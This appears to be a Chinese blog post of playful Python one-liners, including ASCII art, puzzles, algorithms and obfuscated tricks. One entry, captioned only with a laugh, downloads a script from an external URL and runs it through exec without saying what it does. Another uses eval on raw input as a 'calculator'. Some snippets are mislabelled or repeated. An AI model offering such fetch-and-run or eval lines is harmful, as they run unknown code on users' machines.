一行 Python 的丧心病狂

看了一篇一行 Python 能实现什么丧心病狂的功能的文章,觉得python是真的变态!所以记录一下,温故而知新,方知变态之常态。

表白之绝响:

print('\n'.join([''.join([('Love'[(x-y) % len('Love')] if ((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3 <= 0else' ') for x in range(-30, 30)]) for y in range(30, -30, -1)]))

在这里插入图片描述

九九乘法表:

print('\n'.join([' '.join(["%2s x%2s = %2s"%(j,i,i*j) for j in range(1,i+1)]) for i in range(1,10)]))

在这里插入图片描述
迷宫:

print(''.join(__import__('random').choice('\u2571\u2572') for i in range(50*24)))

在这里插入图片描述
画个小乌龟:

print('\n'.join([''.join(['*' if abs((lambda a:lambda z,c,n:a(a,z,c,n))(lambda s,z,c,n:z if n==0 else s(s,z*z+c,c,n-1))(0,0.02*x+0.05j*y,40))<2 else ' ' for x in range(-80,20)]) for y in range(-20,20)]))

在这里插入图片描述
自己做个简单计算器:

print(eval(input()))

在这里插入图片描述
计算一列数字的和

print sum(range(1,1001))

1行python解八皇后,其中一大半代码是用于打印出来带格式的。

_=[__import__('sys').stdout.write("\n".join('.' * i + 'Q' + '.' * (8-i-1) for i in vec) + "\n===\n") for vec in __import__('itertools').permutations(xrange(8)) if 8 == len(set(vec[i]+i for i in xrange(8))) == len(set(vec[i]-i for i in xrange(8)))]

做个老虎机

import random;p=lambda:random.choice('7♪♫♣♠♦♥◄☼☽');[print('|'.join([p(),p(),p()]),end='\r') for i in range(8**5)]”

数字猜猜(我想的是一个介于1和99之间的数字。你可以猜测,我会告诉你猜测你的猜测是高于我的数字(‘H’)还是低于(L’)。你最多可以做六次猜测。)

python -c "import random;n=random.randint(1,99);[(lambda a:print('Y' if a==n else 'H' if a>n else 'L'))(int(input())) for i in range(6)]"

Quine

_='_=%r;print _%%_';print _%_

可以参考 这个哦!

美丽的螺旋

exec """\nfrom turtle import *\nfor i in range(500): \n    forward(i)\n    left(91)\n"""

一行代码帮你选彩票号码(彩票有风险,彩票须谨慎)

python -c "from random import sample; print 'Lotto numbers: %s' % sample(range(1, 50), 6)"

今天距离明年元旦还有多少天?

python -c """import datetime;today = datetime.date.today();someday = datetime.date(2019, 1, 1);diff = someday - today;print str(diff.days)+' days' “""

神一样的代码

(lambda _,__,___,____,_____,______,_______, ________:getattr(__import__(True.__class__.__name__[_] + [].__class__.__name__[__]),().__class__.__eq__.__class__.__name__[:__] + ().__iter__().__class__.__name__[_____:________])(_, (lambda _,__,___: _(_,__,___))(lambda _,__,___: chr(___ % __) + _(_,__,___ // __) if ___ else (lambda: _).func_code.co_lnotab, ____<<______, (((_____ << _____) + _______) << ((_ << _______) + (_ << __))) - (((((___ << __) + _) << ____) - _) << ((((_ << ____) - _) << ___) + _)) - (((_____ << _____) + _______) << ((_______ << ____))) + (((___ << _____) - ___) << ((((___ << __) + _) << ___) - _)) - (((((___ << __) - _) << ____) + _____) << ((___ << _____) - ___)) + (((_______ << ____) - ___) << ((_____ << ____) + ___)) + (((((___ << __) - _) << ___) + _) << (((((_ << ___) + _)) << ___) + (_ << _))) + (((((___ << __) + _) << ___) - ___) << ((_ << ______))) + (((_____ << ____) - ___) << ((_______ << ___))) + (((_ << ______) + _) << ((___ << ____) - _)) - (((((___ << __) + _) << __) + _) << ((_____ << ___) - _)) - (((_____ << __) - _) << ((_ << _____) - _)) - (((_ << _____) + _) << ((___ << ___) - _)) - (_____ << (((((_ << ___) + _)) << _))) + (_ << (((___ << __) + _))) + (((((_ << ___) + _))) << ___) + _)))(* (lambda _, __: _(_, __))(lambda _, __: [__[(lambda: _).func_code.co_nlocals].func_code.co_argcount] + _(_, __[(lambda _: _).func_code.co_nlocals:]) if __ else [], (lambda _: _,lambda _, __: _,lambda _, __, ___: _,lambda _, __, ___, ____: _,lambda _, __, ___, ____, _____: _,lambda _, __, ___, ____, _____, ______: _,lambda _, __, ___, ____, _____, ______, _______: _,lambda _, __, ___, ____, _____, ______, _______, ________: _)))

效果也不错,自己去试试吧

(lambda _: getattr(__import__(_(28531)), _(126965465245037))(_(9147569852652678349977498820655)))((lambda ___, __, _: lambda n: ___(__(n))[_ << _:-_].decode(___.__name__))(hex, long, True))

帮你数数(Mac)

python3 -c "print(' '.join([str(i) for i in range(1,10000)]))" | say

哈哈:

python -c "exec(__import__('urllib2').urlopen('http://7xlbug.com1.z0.glb.clouddn.com/main.py').read())"

还有个好玩的(一幅漫画):

import antigravity 

一行代码计算出1-100之间的素数

print(' '.join([str(item) for item in filter(lambda x: not [x % i for i in range(2, x) if x % i == 0], range(2, 101))]))
print(' '.join([str(item) for item in filter(lambda x: all(map(lambda p: x % p != 0, range(2, x))), range(2, 101))]))

一行代码输出斐波那契数列

print([x[0] for x in [(a[i][0], a.append([a[i][1], a[i][0]+a[i][1]])) for a in ([[1, 1]], ) for i in range(30)]])

一行代码实现快排算法

qsort = lambda arr: len(arr) > 1 and qsort(list(filter(lambda x: x <= arr[0], arr[1:]))) + arr[0:1] + qsort(list(filter(lambda x: x > arr[0], arr[1:]))) or arr

一行代码实现求解2的1000次方的各位数之和

print(sum(map(int, str(2**1000))))

一行筛质数

print(sum(map(int, str(2**1000))))

打印出输入文件中的每行代码,但移除前两个字段

python -c "import sys;[sys.stdout.write(' '.join(line.split(' ')[2:])) for line in sys.stdin]" < input.txt

将正则表达式应用到来自 Stdin 的代码行

[another command] | python -c "import sys,re;[sys.stdout.write(re.sub('PATTERN', 'SUBSTITUTION', line)) for line in sys.stdin]"

只需一行代码就能可视化你的神经网络,只需一行代码就能可视化你的神经网络,这个 Python 库叫 ANN Visualizer,同 Keras 一起使用。有了它,我们就可以给自己正在搭建的神经网络创建出简洁漂亮的可视化图形。
安装该程序库:

pip install ann_visualizer

执行如下命令结构

ann_viz(model, view=True, filename=”network.gv”, title=”MyNeural Network”)

其中:
Model——你的 Keras 序列模型
View——如果设为 True,它会在命令执行后打开图形预览
Filename——图形的保存位置(保存为 .gv 文件格式)
Title——被可视化的神经网络的名字
ANN Visualizer

先写这些,后续有所补充再来修改,欢迎评论点赞哦!!!

都说流星有求必应,我愿在星空下等待,等待一颗被我感动,载着我的祝福落在你的未来!

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值